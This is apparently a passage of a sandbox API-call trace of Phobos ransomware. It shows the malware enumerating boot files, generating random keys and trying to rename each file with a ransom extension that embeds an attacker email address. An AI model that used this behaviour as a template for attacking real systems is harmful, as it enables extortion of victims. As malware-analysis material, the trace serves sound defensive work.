hTemplateFile=0x0) returned 0xffffffff [0132.226] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.226] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.226] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=45472) returned 1 [0132.226] CloseHandle (hObject=0x2b4) returned 1 [0132.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0132.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.227] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.227] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.227] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.227] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=79200) returned 1 [0132.227] CloseHandle (hObject=0x2b4) returned 1 [0132.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0132.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.227] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.227] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.227] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.227] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=45984) returned 1 [0132.227] CloseHandle (hObject=0x2b4) returned 1 [0132.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0132.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.228] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.228] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.228] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.228] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=80224) returned 1 [0132.228] CloseHandle (hObject=0x2b4) returned 1 [0132.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0132.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.228] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.228] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.228] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.228] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=46496) returned 1 [0132.228] CloseHandle (hObject=0x2b4) returned 1 [0132.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0132.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.230] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.230] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.230] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.230] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=74072) returned 1 [0132.230] CloseHandle (hObject=0x2b4) returned 1 [0132.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0132.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.230] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.231] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.231] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.231] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=74144) returned 1 [0132.231] CloseHandle (hObject=0x2b4) returned 1 [0132.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0132.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.231] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.231] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.231] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.231] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=44960) returned 1 [0132.231] CloseHandle (hObject=0x2b4) returned 1 [0132.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0132.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.231] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.232] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.232] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.232] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=77664) returned 1 [0132.232] CloseHandle (hObject=0x2b4) returned 1 [0132.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0132.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.232] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.232] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.232] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.232] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=45984) returned 1 [0132.232] CloseHandle (hObject=0x2b4) returned 1 [0132.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0132.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.232] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.233] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.233] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.233] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=77664) returned 1 [0132.233] CloseHandle (hObject=0x2b4) returned 1 [0132.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0132.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.233] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.233] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.233] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.233] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=75104) returned 1 [0132.233] CloseHandle (hObject=0x2b4) returned 1 [0132.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0132.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.234] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.234] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.234] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.234] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=76640) returned 1 [0132.234] CloseHandle (hObject=0x2b4) returned 1 [0132.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0132.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.234] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.234] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.234] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.234] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=45472) returned 1 [0132.234] CloseHandle (hObject=0x2b4) returned 1 [0132.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0132.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.235] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.235] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.235] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.236] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=3695719) returned 1 [0132.236] CloseHandle (hObject=0x2b4) returned 1 [0132.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0132.236] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0132.236] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0132.236] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.236] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.237] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=3878410) returned 1 [0132.237] CloseHandle (hObject=0x2b4) returned 1 [0132.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0132.237] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0132.237] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0132.237] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.237] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.239] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=1985867) returned 1 [0132.239] CloseHandle (hObject=0x2b4) returned 1 [0132.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0132.239] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0132.239] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0132.239] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.239] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.240] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2373000) returned 1 [0132.240] CloseHandle (hObject=0x2b4) returned 1 [0132.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0132.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0132.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0132.240] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0132.240] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0132.241] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=174959) returned 1 [0132.241] CloseHandle (hObject=0x2b4) returned 1 [0132.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0132.241] GetFileAttributesW 